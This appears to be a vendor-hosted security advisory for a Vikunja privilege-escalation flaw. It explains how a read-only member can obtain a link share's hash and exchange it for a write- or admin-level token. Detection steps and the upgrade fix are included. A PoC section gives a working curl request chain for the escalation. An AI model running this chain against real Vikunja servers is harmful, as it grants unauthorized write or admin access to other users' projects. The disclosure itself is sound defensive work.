Vikunja: Read-only project members can obtain any link share's access hash via the single-share read endpoint (v1 and v2) and escalate to the share's permission level
CVE-2026-91985 · GHSA-qfwc-vx6f-3g6g · GO-2026-6747 · published 9 Oct 2026
How serious is it
- Severity: high.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-91985?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
code.vikunja.io/api(Go) <= 2.5.0
How to check
- Run
go list -m code.vikunja.io/apiin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
code.vikunja.io/apito 2.6.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
A user who has only read permission on a project can call the single link-share read endpoint and receive the share's `hash` field — the secret credential that the anonymous `POST /shares/{share}/auth` endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.
## Details
Affected endpoints (both verified with a complete chain):
- v1: `GET /api/v1/projects/{project}/shares/{share}`
- v2: `GET /api/v2/projects/{project}/shares/{share}`
Permission gate: `LinkSharing.CanRead` (`pkg/models/link_sharing_permissions.go`) delegates to `project.CanRead(s, a)` — i.e. any user with read access to the project passes. The response serializes the `hash` field (`pkg/models/link_sharing.go`, field tag `json:"hash"`), which is the share's bearer credential. The share `password` field is correctly cleared before returning, but the hash is not restricted.
Inconsistent with the sibling list endpoint `GET /projects/{project}/shares` (`LinkSharing.ReadAll`, `pkg/models/link_sharing.go:243-256`), which requires `project.IsAdmin` — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 `handler.DoReadOne` wrappers call the same `CanRead`), so both surfaces are affected.
Impact chain: hash -> `POST /api/v1/shares/{hash}/auth` (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project.
Mitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharing_type=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.
## PoC
Steps below use two accounts: the owner (token `$OWNER`) and an attacker who has been granted read-only access to the project (token `$READER`). All requests were executed against a local Vikunja 2.5.0 instance.
1. Owner creates a private project and a read-write link share (permission=1):
```
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"title":"poc"}'
# -> {"id":123,...}
curl -X PUT "$BASE/api/v1/projects/123/shares" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"name":"poc","permission":1}'
# -> {"id":7,"hash":"<SECRET_HASH>",...}
```
2. Owner adds the attacker as a read-only member (permission=0):
```
curl -X PUT "$BASE/api/v1/projects/123/users" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"username":"attacker","permission":0}'
```
3. Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):
```
curl "$BASE/api/v1/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"id":7,"hash":"<SECRET_HASH>","permission":1,...}
# v2 twin behaves identically:
curl "$BASE/api/v2/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"hash":"<SECRET_HASH>",...}
```
4. Attacker exchanges the hash for a link-share JWT (no authentication required):
```
curl -X POST "$BASE/api/v1/shares/<SECRET_HASH>/auth" \
-H 'Content-Type: application/json' -d '{}'
# -> 200 {"token":"<LINK_JWT>",...}
```
5. Negative control — the attacker's own user token cannot write to the project:
```
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer $READER" \
-H 'Content-Type: application/json' -d '{"title":"direct"}'
# -> 403 Forbidden
```
6. Escalation proof — the link-share JWT writes successfully:
```
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer <LINK_JWT>" \
-H 'Content-Type: application/json' -d '{"title":"escalated"}'
# -> 201 Created
```
Observed result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).
## Impact
Broken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share's permission level: write members' tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project's shared secret. Suggested fix: require `project.IsAdmin` in `LinkSharing.CanRead` (aligning with `ReadAll`), or omit the `hash` field from responses to non-admin members.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/go-vikunja/vikunja/security/advisories/GHSA-qfwc-vx6f-3g6g
- nvd.nist.gov/vuln/detail/CVE-2026-91985
- github.com/go-vikunja/vikunja/pull/3688
- github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2
- github.com/go-vikunja/vikunja/releases/tag/v2.6.0
- www.vulncheck.com/advisories/vikunja-before-2.6.0-privilege-escalation-via-link-share-hash
- github.com/advisories/GHSA-qfwc-vx6f-3g6g
- github.com/go-vikunja/vikunja
Merged from GitHub Advisory Database, OSV. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON